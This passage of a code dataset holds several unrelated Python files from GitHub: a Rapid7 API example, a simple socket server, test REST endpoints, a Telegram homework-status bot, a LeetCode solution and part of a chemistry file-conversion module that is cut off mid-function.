\"/path/to/rapid7/package\" # to be removed (use only if the package is not installed)\n\nfrom rapid7.endpoints.endpoint import Endpoint\nfrom examples.utils.load_api_key import get_api_key\n\n\napi_key = get_api_key(\"\")\nregion = \"\"\n\nendpoints_v1 = Endpoint(api_key = api_key, region = region)\n\nsource = \"ALERT\"\nstart_timestamp = \"\"\nend_timestamp = \"\"\nalert_type = \"\"\n\ninvestigations = endpoints_v1.close_investigations_in_bulk_v1(source, start_timestamp, end_timestamp, alert_type = alert_type)\n\nprint(investigations)","repo_name":"mottaga/rapid7-interface-python","sub_path":"examples/endpoints/close_investigations_in_bulk.py","file_name":"close_investigations_in_bulk.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16587337122","text":"import socket\nimport threading\nimport time\n\nclass Server(object):\n def __init__(self,host='192.168.0.16',port=9997):\n self.host = host\n self.port = port\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\n self.sock.bind((host, port))\n self.sock.listen(1) # backlog: specifies the maximum number of queued connections\n self.client = [] # [con, address]\n self.cmd = ''\n def getcmd(self):\n return self.cmd.split(',')\n def clccmd(self):\n self.cmd = ''\n def start(self):\n print('Host: {}, Port: {}'.format(self.host, self.port))\n print('Waiting for client connection ...')\n con, address = self.sock.accept()\n print(\"[Connected] {}\".format(address))\n self.client.append((con, address))\n handle_thread = threading.Thread(target=self._handler, args=(con, address), daemon=True)\n handle_thread.start()\n\n def remove_conection(self,con,address):\n print('[Terminated] {}'.format(address))\n con.close()\n self.client.remove((con, address))\n # self.cmd = 'quit'\n\n print('Waiting for client connection ...')\n con, address = self.sock.accept()\n print(\"[Connected] {}\".format(address))\n self.client.append((con, address))\n handle_thread = threading.Thread(target=self._handler, args=(con, address), daemon=True)\n handle_thread.start()\n\n def _handler(self,con,address):\n while True:\n try:\n data = con.recv(1024)\n except ConnectionResetError:\n self.remove_conection(con, address)\n break\n else:\n if not data:\n self.remove_conection(con, address)\n break\n else:\n print(\"[Received] {} - {}\".format(address, data.decode(\"utf-8\")))\n self.cmd = data.decode(\"utf-8\")\n # self.client[0][0].sendto('received'.encode(), self.client[0][1])\n","repo_name":"atelier-ritz/zjsnR_Vysor_server","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20715357417","text":"from restapi import decorators\nfrom restapi.config import TESTING\nfrom restapi.rest.definition import EndpointResource, Response\n\nif TESTING:\n # This endpoint is activated only if neo4j is enabled\n class TestDependsOn(EndpointResource):\n labels = [\"tests\"]\n depends_on = [\"NEO4J_ENABLE\"]\n\n @decorators.endpoint(\n path=\"/tests/depends_on/neo4j\",\n summary=\"Execute tests on depends on option\",\n description=\"Only enabled in testing mode\",\n responses={\n 200: \"Content sent\",\n },\n )\n def get(self) -> Response:\n return self.response(\"1\")\n\n # This endpoint is activated only if neo4j is NOT enabled\n class TestDependsOnNOT(EndpointResource):\n labels = [\"tests\"]\n depends_on = [\"not NEO4J_ENABLE\"]\n\n @decorators.endpoint(\n path=\"/tests/depends_on_not/neo4j\",\n summary=\"Execute tests on depends on option\",\n description=\"Only enabled in testing mode\",\n responses={\n 200: \"Content sent\",\n },\n )\n def get(self) -> Response:\n return self.response(\"1\")\n","repo_name":"rapydo/http-api","sub_path":"restapi/endpoints/test_depends_on.py","file_name":"test_depends_on.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"19283927716","text":"from http import HTTPStatus\nimport json\nimport logging\nimport os\nimport sys\nimport time\n\nfrom dotenv import load_dotenv\nimport requests\nimport telegram\n\nimport constants\nfrom exception import RequestException, ResponseException, TelegramException\n\nload_dotenv()\n\n\nPRACTICUM_TOKEN = os.getenv('PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('TELEGRAM_CHAT_ID')\n\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\nRETRY_PERIOD = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\n\nhandler = logging.FileHandler(filename='main.log', encoding='utf-8')\nlogging.basicConfig(\n handlers=(handler,),\n format='%(asctime)s - %(levelname)s - %(message)s',\n level=logging.DEBUG\n)\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nhandler = logging.StreamHandler(stream=sys.stdout)\nlogger.addHandler(handler)\n\nformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n\n\ndef check_tokens():\n \"\"\".\n Проверяет доступность переменных окружения, которые необходимы\n для работы программы. Если отсутствует хотя бы одна переменная\n окружения — продолжать работу бота нет смысла.\n \"\"\"\n return all((PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID))\n\n\ndef send_message(bot, message):\n \"\"\".\n Отправляет сообщение в Telegram чат,\n определяемый переменной окружения TELEGRAM_CHAT_ID.\n Принимает на вход два параметра:\n экземпляр класса Bot и строку с текстом сообщения.\n \"\"\"\n try:\n bot.send_message(chat_id=TELEGRAM_CHAT_ID, text=message)\n except telegram.error.TelegramError:\n # если убираю отсюда логер, пайтест не проходит\n logger.error(constants.SEND_ERROR_TEXT)\n raise TelegramException(constants.SEND_ERROR_TEXT)\n else:\n logger.debug('Сообщение отправлено')\n\n\ndef get_api_answer(timestamp):\n \"\"\"\n Делает запрос к единственному эндпоинту API-сервиса.\n В качестве параметра в функцию передается временная метка.\n В случае успешного запроса должна вернуть ответ API,\n приведя его из формата JSON к типам данных Python.\n \"\"\"\n params = {'from_date': timestamp}\n try:\n response = requests.get(\n ENDPOINT,\n headers=HEADERS,\n params=params\n )\n if response.status_code != HTTPStatus.OK:\n raise ResponseException(constants.STATUS_CODE_ERROR_TEXT)\n response = response.json()\n except json.JSONDecodeError:\n raise json.JSONDecodeError(constants.JSON_ERROR_TEXT)\n except requests.RequestException:\n raise RequestException(constants.REQUEST_ERROR_TEXT)\n return response\n\n\ndef check_response(response):\n \"\"\"\n Проверяет ответ API на соответствие документации.\n В качестве параметра функция получает ответ API,\n приведенный к типам данных Python.\n \"\"\"\n if type(response) is not dict:\n raise TypeError(constants.TYPE_ERROR_DICT_TEXT)\n if 'homeworks' not in response:\n raise KeyError(constants.KEY_HOMEWORKS_ERROR_TEXT)\n homeworks = response['homeworks']\n if type(homeworks) is not list:\n raise TypeError(constants.TYPE_ERROR_LIST_TEXT)\n if not homeworks:\n raise IndexError(constants.INDEX_ERROR_TEXT)\n return homeworks\n\n\ndef parse_status(homework):\n \"\"\"\n Извлекает из информации о конкретной домашней работе статус этой работы.\n В качестве параметра функция получает только один элемент\n из списка домашних работ.\n В случае успеха, функция возвращает подготовленную для отправки\n в Telegram строку, содержащую один из вердиктов словаря HOMEWORK_VERDICTS\n \"\"\"\n if 'status' not in homework:\n raise KeyError(constants.KEY_ERROR_TEXT_STATUS)\n if 'homework_name' not in homework:\n raise KeyError(constants.KEY_ERROR_TEXT_HOMEWORK_NAME)\n status = homework['status']\n homework_name = homework['homework_name']\n if status not in HOMEWORK_VERDICTS:\n raise KeyError(constants.KEY_ERROR_TEXT_VERDICT)\n verdict = HOMEWORK_VERDICTS[status]\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n\n\ndef main():\n \"\"\"Основная логика работы бота.\"\"\"\n if not check_tokens():\n logger.critical(constants.TOKENS_ERROR_TEXT)\n raise ValueError(constants.TOKENS_ERROR_TEXT)\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n timestamp = int(time.time())\n last_message = ''\n last_error = ''\n\n while True:\n try:\n response = get_api_answer(timestamp)\n homeworks = check_response(response)\n homework = homeworks[0]\n message = parse_status(homework)\n if last_message != message:\n send_message(bot, message)\n last_message = message\n except Exception as error:\n message = f'Сбой в работе программы: {error}'\n logger.error(message)\n if last_error != message:\n send_message(bot, message)\n last_error = message\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jullitka/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17088564915","text":"class Solution:\n def splitNum(self, num: int) -> int:\n arr = sorted(str(num))\n # print(arr)\n n = len(arr)\n num1, num2 = 0, 0\n for i, x in enumerate(arr):\n if i&1:\n num2 = (num2*10 + int(x))\n else:\n num1 = (num1*10 + int(x))\n # print(num1, num2)\n return num1+num2","repo_name":"mrprashantkumar/LeetCode-Submissions-Python","sub_path":"2578-split-with-minimum-sum/2578-split-with-minimum-sum.py","file_name":"2578-split-with-minimum-sum.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"14318959655","text":"import os\n#---------------------------------------------------------------#\nimport common.Exceptions as Exc\nimport common.fncs as fncs\n#---------------------------------------------------------------#\nfrom common.dicts import dpt_im\nfrom common.files import write_gtsfile\nfrom common.files import write_molden\nfrom common.Molecule import Molecule\nfrom common.pgs import get_pgs\n#---------------------------------------------------------------#\nfrom common.files import read_gtsfile\nfrom common.gaussian import read_fchk\nfrom common.gaussian import read_gauout as read_gauout_v1\nfrom common.gaussian import read_gauout_old as read_gauout_v2\nfrom common.orca import read_orca\n#---------------------------------------------------------------#\nREAD_METHODS = [read_gtsfile,read_fchk,read_gauout_v1,read_gauout_v2,read_orca]\nEXTENSIONS = [\"gts\",\"fchk\",\"log\",\"out\"]\n#---------------------------------------------------------------#\nimport modpilgrim.names as PN\nimport modpilgrim.pilrw as RW\nfrom modpilgrim.ClusterConf import ClusterConf\n#===============================================================#\n\n# WRONG: 1 (invalid name)\n# 2 (folder without valid files)\n# 3 (reading failed)\n# 4 (Fcc not found)\n# 5 (inconsistences CTC)\n# 6 (unexpected number of imag. freqs)\nWRONG = {i+1:False for i in range(6)}\n\n\n\n#===============================================================#\ndef get_ufiles_ufolders():\n '''\n lists files in UDATA/ folder;\n returns a list with the folders [ufolder],\n a list with the files that are not inside a folder [ufiles],\n and a list with all files (i.e. files inside each folder + ufiles) [all_ufiles]\n + \n '''\n # list files and folders\n ufiles = [ff for ff in os.listdir(PN.UFOLDER) if not os.path.isdir(PN.UFOLDER+ff)]\n ufolders = [ff+\"/\" for ff in os.listdir(PN.UFOLDER) if os.path.isdir(PN.UFOLDER+ff)]\n # only files with correct extension\n ufiles = [ifile for ifile in ufiles if ifile.split(\".\")[-1].lower() in EXTENSIONS]\n # sort\n ufiles.sort()\n ufolders.sort()\n # all the files (including those in folders)\n all_ufiles = list(ufiles)\n for ufolder in ufolders:\n all_ufiles += sorted([ufolder+esfile for esfile in os.listdir(PN.UFOLDER+ufolder) \\\n if esfile.split(\".\")[-1].lower() in EXTENSIONS])\n return ufiles,ufolders,all_ufiles\n#---------------------------------------------------------------#\ndef remove_definitive(lgts):\n '''\n Given a list of gts files, remove each file and the corresponding files associated\n (i.e. the molden file and the frozen file, in case any of them exists)\n * molden files can be where the gts files are or they can be at 5-MOLDEN\n * frozen files can only be at the same directory as the gts file\n '''\n toremove = [PN.DIR1+gts for gts in lgts if gts is not None]\n toremove += [PN.DIR1+gts+\".frozen\" for gts in lgts if gts is not None]\n toremove += [PN.DIR1+gts+\".molden\" for gts in lgts if gts is not None]\n toremove += [PN.DIR5+gts.replace(\".gts\",\".molden\") for gts in lgts if gts is not None]\n for fname in toremove:\n if os.path.exists(fname): os.remove(fname)\n#---------------------------------------------------------------#\ndef deal_removed_ufiles(all_ufiles,dtrack,dctc):\n '''\n compares files in UDATA with those listed in tracking.\n If any file in tracking is not in UDATA/, this function is in charge of\n remove the corresponding associated information (its line in tracking,\n gts file, the conformer in pif.struc)\n '''\n # any file removed by user?\n removed = []\n for file_in_tracking in dtrack.keys():\n if file_in_tracking not in all_ufiles:\n removed.append(file_in_tracking)\n # deal with removed files\n if len(removed) != 0:\n print(\" --> The following files were removed from %s by user:\"%PN.UFOLDER)\n print(\"\")\n ii = len(str(len(removed)))\n for idx,fname in enumerate(removed):\n idx = \"%%%ii\"%ii%idx\n print(\" [%s] %s\"%(idx,fname))\n print(\"\")\n print(\" To continue, the corresponding gts files (in %s) must be removed\"%PN.DIR1)\n answer = input(\" remove (y/N)? \").strip().lower()\n print(\"\")\n # if no permission to remove, abort execution\n if answer not in (\"yes\",\"y\"): raise Exc.ABORTED\n # deal with one file at a time\n for idx,fname in enumerate(removed):\n # remove from dtrack\n gts = dtrack.pop(fname)\n # ctc and itc from gts name\n ctc,itc,ext= gts.split(\".\")\n # remove from dctc\n if ctc in dctc.keys():\n dctc[ctc].remove_itc(itc)\n # update referene energy for this CTC\n dctc[ctc].find_minV0()\n # remove gts\n idx = \"%%%ii\"%ii%idx\n print(\" [%s] %s\"%(idx,PN.DIR1+gts))\n remove_definitive([gts])\n print(\"\")\n # return new dicts\n return dtrack,dctc\n#---------------------------------------------------------------#\ndef deal_nonlisted_gts(dtrack):\n '''\n remove all gts files (and associated files) that exist\n but that are not listed in tracking\n '''\n # gts files\n gtsfiles = []\n if os.path.exists(PN.DIR1):\n gtsfiles = [gts for gts in os.listdir(PN.DIR1) if gts.endswith(\".gts\")]\n # check which ones are non-listed (nl) in dtrack\n nl_gtsfiles = []\n for gts in gtsfiles:\n if gts not in dtrack.values(): nl_gtsfiles.append(gts)\n # remove files\n if len(nl_gtsfiles) != 0:\n print(\" --> The following files are not listed in %s\"%PN.IFILE0)\n print(\"\")\n for gts in nl_gtsfiles: print(\" * %s\"%gts)\n print(\"\")\n print(\" To continue, these files must be removed\")\n answer = input(\" remove (y/N)? \").strip().lower()\n print(\"\")\n if answer in (\"yes\",\"y\"): remove_definitive(nl_gtsfiles)\n else: raise Exc.ABORTED\n#---------------------------------------------------------------#\ndef cleanup_dctc(dctc):\n '''\n removes conformers in dctc whose gts file does not exist\n '''\n for ctc in dctc.keys():\n remove = []\n for itc,weight in dctc[ctc]._itcs:\n # the corresponding gts file\n gts = \"%s.%s.gts\"%(ctc,itc)\n if not os.path.exists(PN.DIR1+gts): remove.append(itc)\n # remove conformers\n for itc in remove: dctc[ctc].remove_itc(itc)\n # redefine minimum energy using conformers we kept\n if remove != [] : dctc[ctc].find_minV0()\n # remove CTCs without conformers\n dctc = {ctc:CTC for ctc,CTC in dctc.items() if len(CTC._itcs) != 0}\n return dctc\n#===============================================================#\n\n\n#===============================================================#\ndef temporal_gtsname(ctc,count=0):\n '''\n gives a temporary name for the gts file in such a way\n that the gts file does not exist yet\n '''\n while True:\n prov_gts = \"%s.prov%i.gts\"%(ctc,count)\n count +=1\n if os.path.exists(PN.DIR1+prov_gts): continue\n return prov_gts,count\n#---------------------------------------------------------------#\ndef print_ctc_info(CTC,iblank=\" \"):\n '''\n print main information of the given CTC\n '''\n string = \"ctc name : %s\\n\"%CTC._ctc\n string += \"charge : %i\\n\"%CTC._ch\n string += \"spin multiplicity: %i\\n\"%CTC._mtp\n string += \"molecular formula: %s\\n\"%CTC._mformu\n string += \"num. imag. freqs.: %i\\n\"%CTC._type\n string += \"num. conformers : %i\\n\"%len(CTC._itcs)\n for line in string.split(\"\\n\"): print(iblank+line)\n#---------------------------------------------------------------#\ndef generate_gts_file(esfile,gtsfile,read_method):\n '''\n Generate gts file (and molden & frozen files)\n from given electronic structure (ES) file;\n The ES file is read using read_method\n '''\n # Extra files that (maybe) will be generated\n file_frozen = gtsfile+\".frozen\" # only if any frozen atom\n file_molden = gtsfile+\".molden\" # molden file\n # read file\n xcc,atonums,ch,mtp,E,gcc,Fcc,masses,clevel = read_method(PN.UFOLDER+esfile)[0:9]\n # clevel is not really clevel when using read_gtsfile as read_method\n if read_method == read_gtsfile: clevel = \"\"\n # symbols and atonums\n symbols,atonums = fncs.symbols_and_atonums(atonums)\n # is masses available?\n if masses is None or len(masses) == 0 or sum(masses) == 0.0:\n masses = atonums2masses(atonums)\n # is Fcc available?\n if len(atonums) != 1 and (Fcc is None or len(Fcc) == 0):\n status = -1\n cache = None\n molec = None\n else:\n # Generate Molecule instance\n molec = Molecule()\n molec.setvar(xcc=xcc,gcc=gcc,Fcc=Fcc)\n molec.setvar(atonums=atonums,masses=masses)\n molec.setvar(ch=ch,mtp=mtp,V0=E)\n molec.prepare()\n # Deal with frozen atoms [atom i is frozen if Fij=0 forall j)\n frozen_xcc, frozen_symbols = molec.remove_frozen()\n # Calculate point group (must be done after remove frozen)\n molec.calc_pgroup(force=True)\n # Deal with Hessian\n molec.setup()\n # write gts file\n molec.genfile_gts(PN.DIR1+gtsfile,level=clevel)\n status = 1\n # write frozen (if there are frozen atoms)\n RW.write_frozen(PN.DIR1+file_frozen,frozen_xcc,frozen_symbols)\n # write molden file\n idata = (PN.DIR1+file_molden,molec._xcc,molec._symbols,molec._ccfreqs,molec._ccFevecs)\n write_molden(*idata)\n # save to cache\n nimag = int(fncs.numimag(molec._ccfreqs))\n pgroup = str(molec._pgroup)\n mform = str(molec._mform)\n cache = [esfile,gtsfile,E,ch,mtp,nimag,mform,pgroup]\n # delete variable, just in case\n del xcc, gcc, Fcc\n del symbols, atonums, masses\n del molec\n # return\n return status, cache\n#---------------------------------------------------------------#\ndef userfile_to_gtsfile(esfile,gtsfile):\n '''\n Read the electronic structure (ES) file given by\n the user and generate the corresponding gts file;\n This function try with different methods to read the ES file\n\n returns\n * status: -1 (Fcc not found), 0 (not read) or 1 (all ok)\n * cache : a tuple with data if status == 1, else None\n '''\n for read_method in READ_METHODS:\n try : return generate_gts_file(esfile,gtsfile,read_method)\n except Exc.FileType: continue\n except : continue\n return 0, None\n#---------------------------------------------------------------#\ndef print_table_ufiles(cache):\n '''\n print table with basic info about each electronic structure file\n associated to a given CTC;\n useful to see if there is any incompatibility between conformers\n (e.g. conformers with different charge, or different spin multiplicity)\n '''\n # table head and division\n ml1 = max([len(cache_i[6]) for cache_i in cache]+[ 7])\n ml2 = 21\n line_format = \" %%-%is | %%-%is | %%-%is | %%-%is | %%-%is \"%(6,3,7,ml1,ml2)\n thead = line_format%(\"charge\",\"mtp\",\"n.imag.\",\"m.form.\",\"user file\")\n tdivi = \"-\"*len(thead)\n # start string\n string = \"\\n\"\n string += tdivi+\"\\n\"\n string += thead+\"\\n\"\n string += tdivi+\"\\n\"\n for idx,cache_i in enumerate(cache):\n col1 = \"%i\"%cache_i[3] # charge\n col2 = \"%i\"%cache_i[4] # spin multiplicity\n col3 = \"%i\"%cache_i[5] # number of imaginary frequencies\n col4 = cache_i[6] # molecular formula\n col5 = cache_i[0] # name of ES file\n # format col5\n col5 = col5.split(\"/\")[-1]\n if len(col5) > ml2: col5 = col5[:(ml2-3)//2]+\"...\"+col5[-(ml2-3)//2:]\n # add to table\n ldata = (col1,col2,col3,col4,col5)\n string += line_format%ldata+\"\\n\"\n string += tdivi+\"\\n\"\n # print string in prompt\n for line in string.split(\"\\n\"): print(\" \"+line)\n#---------------------------------------------------------------#\ndef rename_files(ctc,prov_gts,iitc=0,gts=None):\n '''\n rename provisional gts files (also molden and frozen files)\n to definitive name\n '''\n assert iitc >= 0\n # decide new name for gts file\n if gts is None:\n itc = int(iitc)\n while True:\n itc += 1\n new_gts = \"%s.%003i.gts\"%(ctc,itc)\n if not os.path.exists(PN.DIR1+new_gts): break\n else:\n new_gts = gts\n itc = int(gts.split(\".\")[-2])\n # assert file does not exists\n if os.path.exists(PN.DIR1+new_gts):\n print(\" * File '%s' already exists!\"%(PN.DIR1+new_gts))\n raise Exc.ABORTED\n # provisional files\n prov_frozen = prov_gts+\".frozen\" # only if any frozen atom\n prov_molden = prov_gts+\".molden\" # molden file\n # other files\n new_frozen = \"%s.%003i.gts.frozen\"%(ctc,itc)\n new_molden = \"%s.%003i.molden\"%(ctc,itc)\n # Rename files\n if os.path.exists(PN.DIR1+prov_gts ): os.rename(PN.DIR1+prov_gts ,PN.DIR1+new_gts )\n if os.path.exists(PN.DIR1+prov_frozen): os.rename(PN.DIR1+prov_frozen,PN.DIR1+new_frozen)\n if os.path.exists(PN.DIR1+prov_molden): os.rename(PN.DIR1+prov_molden,PN.DIR5+new_molden)\n return new_gts, itc\n#---------------------------------------------------------------#\ndef is_provisional(gts):\n return \"prov\" in gts.split(\".\")[-2]\n#---------------------------------------------------------------#\ndef remove_provisionals(lgts):\n '''\n uses remove_definitive to remove gts files BUT this function\n only passes those that are provisional\n '''\n prov_gts = [gts for gts in lgts if is_provisional(gts)]\n remove_definitive(prov_gts)\n#---------------------------------------------------------------#\ndef print_warnings():\n '''\n print warnings according to values of WRONG global variable\n '''\n #----------------#\n # Print warnings #\n #----------------#\n if True in WRONG.values():\n print(\"\")\n print(\" - WARNING!! It seems that something did not go well\")\n if WRONG[1]: print(\" * invalid name for some file/folder(s)!\")\n if WRONG[2]: print(\" * some folder(s) in %s does(do) NOT contain valid files!\"%PN.UFOLDER)\n if WRONG[3]: print(\" * reading process failed for a/some file(s) in %s!\"%PN.UFOLDER)\n if WRONG[4]: print(\" * file(s) without Hessian matrix!\")\n if WRONG[5]: print(\" * inconsistences in conformational cluster(s)!\")\n if WRONG[6]: print(\" * unexpected number of imaginary frequencies!\")\n else:\n print(\"\")\n print(\" - Everything seems to be OK! :)\")\n#===============================================================#\n\n\n#===============================================================#\ndef deal_with_file(esfile,dtrack,dctc):\n '''\n deal with an electronic structure (es) file inside UDATA/\n that is not inside a subfolder (i.e. a system with a single conformer)\n '''\n # Return data\n print(\" - Reading file: %s\"%(PN.UFOLDER+esfile))\n # Get CTC\n ctc = \".\".join(esfile.split(\".\")[:-1])\n # Check CTC name\n if not fncs.is_string_valid(ctc,extra=\"_\"):\n print(\" '%s' is an invalid name for a CTC!\\n\"%ctc)\n WRONG[1] = True\n return dtrack,dctc\n\n # previously assignated?\n if esfile in dtrack:\n gtsfile = dtrack[esfile]\n print(\" * gts file already assignated in %s! (%s)\"%(PN.IFILE0,PN.DIR1+gtsfile))\n if os.path.exists(PN.DIR1+gtsfile):\n print(\" - gts file already exists! Skipping generation\\n\")\n return dtrack,dctc\n else: gtsfile = None\n\n # GTS generation\n prov_gts, __ = temporal_gtsname(ctc)\n status ,cache = userfile_to_gtsfile(esfile,prov_gts)\n remove = False\n if status == 0:\n print(\" * [reading failed]\")\n remove,WRONG[3] = True,True\n elif status == -1:\n print(\" * [Fcc NOT found] \")\n remove,WRONG[4] = True,True\n elif cache[5] not in (0,1):\n print(\" * Incorrect number of imaginary frequencies in this CTC!\")\n print(\" n.imag. = %i\"%cache[5])\n remove,WRONG[6] = True,True\n print()\n # Remove generated files\n if remove:\n remove_provisionals([prov_gts])\n return dtrack,dctc\n # rename files\n new_gts,itc = rename_files(ctc,prov_gts,0,gtsfile)\n # Create CTC instance\n CTC = ClusterConf(ctc)\n V0,ch,mtp,nifreq,mformu,pg = cache[2:]\n CTC.setvar(\"ch\" ,ch ,\"int\")\n CTC.setvar(\"mtp\" ,mtp ,\"int\")\n CTC.setvar(\"type\" ,nifreq ,\"int\")\n CTC.setvar(\"mformu\",mformu ,\"str\")\n CTC._es = [(mtp,0.0)]\n CTC.add_itc(itc,V0,pg)\n # update dictionaries\n dtrack[esfile] = new_gts\n dctc[ctc] = CTC\n print_ctc_info(CTC)\n return dtrack,dctc\n#---------------------------------------------------------------#\ndef deal_with_folder(folder,dtrack,dctc):\n '''\n deal with an electronic structure (es) file of a subfolder inside UDATA/\n '''\n\n print(\" - Reading files in: %s\"%(PN.UFOLDER+folder))\n\n # Get CTC\n ctc = folder[:-1]\n\n # Check CTC name\n if not fncs.is_string_valid(ctc,extra=\"_\"):\n print(\" '%s' is an invalid name for a CTC!\\n\"%ctc)\n WRONG[1] = True\n return dtrack,dctc\n\n # Files for each conformer of the CTC\n esfiles = sorted([folder+esfile for esfile in os.listdir(PN.UFOLDER+folder) \\\n if esfile.split(\".\")[-1].lower() in EXTENSIONS])\n if len(esfiles) == 0:\n print(\" empty folder...\\n\")\n WRONG[2] = True\n return dtrack,dctc\n\n # initialize CTC\n CTC = ClusterConf(ctc)\n ctc_vars = None\n\n # GTS generation\n count = 0\n cache = []\n remove = False\n for idx,esfile in enumerate(esfiles):\n\n # previously assignated?\n gtsfile = dtrack.get(esfile,None)\n if gtsfile is not None and os.path.exists(PN.DIR1+gtsfile):\n # read file\n print(\" %s [gts exists: %s]\"%(esfile,PN.DIR1+gtsfile))\n molecule = Molecule()\n molecule.set_from_gts(PN.DIR1+gtsfile)\n molecule.setup()\n status = 2\n # add data to cache\n V0 = molecule._V0\n ch = molecule._ch\n mtp = molecule._mtp\n nimag = int(fncs.numimag(molecule._ccfreqs))\n mform = molecule._mform\n pgroup = molecule._pgroup\n cache_i = [esfile,gtsfile,V0,ch,mtp,nimag,mform,pgroup]\n else:\n prov_gts,count = temporal_gtsname(ctc,count)\n status,cache_i = userfile_to_gtsfile(esfile,prov_gts)\n # save cache_i\n cache.append(cache_i)\n\n # use first conformer to update ctc_vars\n if ctc_vars is None: ctc_vars = cache_i[3:7] \n\n # Check reading and consistence within CTC\n if status == 0:\n print(\" %s [reading failed]\"%esfile)\n print(\" -- STOPPED --\")\n WRONG[3],remove = True,True\n elif status == -1:\n print(\" %s [Fcc NOT found] \"%esfile)\n print(\" -- STOPPED --\")\n WRONG[4],remove = True,True\n elif ctc_vars != cache_i[3:7]:\n print(\" %s [inconsistence found] \"%esfile)\n print(\" -- STOPPED --\")\n WRONG[5],remove = True,True\n print_table_ufiles(cache)\n elif ctc_vars[2] not in (0,1):\n print(\" %s [unexpected number of imag. freqs.] \"%esfile)\n print(\" -- STOPPED --\")\n WRONG[6],remove = True,True\n print_table_ufiles(cache)\n elif status == 1:\n print(\" %s [ok] \"%esfile)\n # sth wrong so we have to remove?\n if remove: break\n print()\n\n # Remove files if sth wrong\n if remove:\n remove_provisionals([cache_i[1] for cache_i in cache])\n return dtrack, dctc\n\n # sort cache by energy\n cache.sort(key = lambda x: x[2])\n # already in dctc\n if ctc in dctc: CTC0 = dctc.pop(ctc)\n else : CTC0 = None\n # Update CTC instance\n CTC.setvar(\"ch\" ,ctc_vars[0],\"int\")\n CTC.setvar(\"mtp\" ,ctc_vars[1],\"int\")\n CTC.setvar(\"type\" ,ctc_vars[2],\"int\")\n CTC.setvar(\"mformu\",ctc_vars[3],\"str\")\n CTC._es = [(ctc_vars[1],0.0)]\n # Rename gtsfiles\n itc = 0\n for idx,cache_i in enumerate(cache):\n prov_gts = cache_i[1]\n if is_provisional(prov_gts):\n new_gts,itc = rename_files(ctc,prov_gts,itc)\n itc_i = itc\n # update dtrack\n dtrack[cache_i[0]] = new_gts\n # update gtsfile in cache\n cache[idx][1] = new_gts\n else:\n itc_i = prov_gts.split(\".\")[-2]\n # weight\n weight = 1\n if CTC0 is not None: weight = max(CTC0.get_weight(itc_i),weight)\n # update CTC\n CTC.add_itc(itc_i,cache_i[2],cache_i[7],weight)\n CTC.find_minV0()\n # update with info of CTC0\n if CTC0 is not None:\n CTC._es = CTC0._es\n CTC._fscal = CTC0._fscal\n CTC._dics = CTC0._dics\n CTC._dicsfw = CTC0._dicsfw\n CTC._dicsbw = CTC0._dicsbw\n CTC._diso = CTC0._diso\n CTC._anh = CTC0._anh\n\n # update dctc\n dctc[ctc] = CTC\n # Print info of this CTC\n print_ctc_info(CTC)\n # Delete cache\n del cache\n # Return data\n return dtrack,dctc\n#===============================================================#\n\n\n#===============================================================#\nfrom common.fncs import fill_string\n\ndef ls_struc(dctc):\n '''\n extra option to show what's in .ctc file\n to show: ls ctc\n '''\n ib = \" \"\n htable = [\"species name\",\"m.form.\",\"num.ifreqs.\",\"ch\",\"mtp\",\"num.confs.\",\"iso.mod.\"]\n # some numbers and list for nice formatting\n ml1 = max([len(ctc) for ctc in dctc.keys() ]+[len(htable[0])])\n ml2 = max([len(CTC._mformu) for CTC in dctc.values()]+[len(htable[1])])\n ll = [ml1,ml2,len(htable[2]),3,3,len(htable[5]),len(htable[6])]\n # fill strings in htable\n htable = [fill_string(string,ml) for ml,string in zip(ll,htable)]\n # start loop\n htable = \" \"+\" | \".join(htable)+\" \"\n divis = \"-\"*len(htable)\n stable = \"\\n\"\n stable += ib+divis+\"\\n\"\n stable += ib+htable+\"\\n\"\n stable += ib+divis+\"\\n\"\n # separate minima from saddle point and from other (xx)\n ctc_root_min = sorted([ctc for ctc in dctc.keys() if dctc[ctc]._type == 0 and dctc[ctc]._diso=={}])\n ctc_root_ts = sorted([ctc for ctc in dctc.keys() if dctc[ctc]._type == 1 and dctc[ctc]._diso=={}])\n ctc_isoX_min = sorted([ctc for ctc in dctc.keys() if dctc[ctc]._type == 0 and dctc[ctc]._diso!={}])\n ctc_isoX_ts = sorted([ctc for ctc in dctc.keys() if dctc[ctc]._type == 1 and dctc[ctc]._diso!={}])\n ctc_xx = sorted([ctc for ctc in dctc.keys() if dctc[ctc]._type not in [0,1]])\n\n numSP0, numSP0all = 0, 0\n numSP1, numSP1all = 0, 0\n numSPX, numSPXall = 0, 0\n for idx,ctcs in enumerate([ctc_root_min+ctc_isoX_min,ctc_root_ts+ctc_isoX_ts,ctc_xx]):\n if ctcs == []: continue\n for ctc in ctcs:\n mformu = 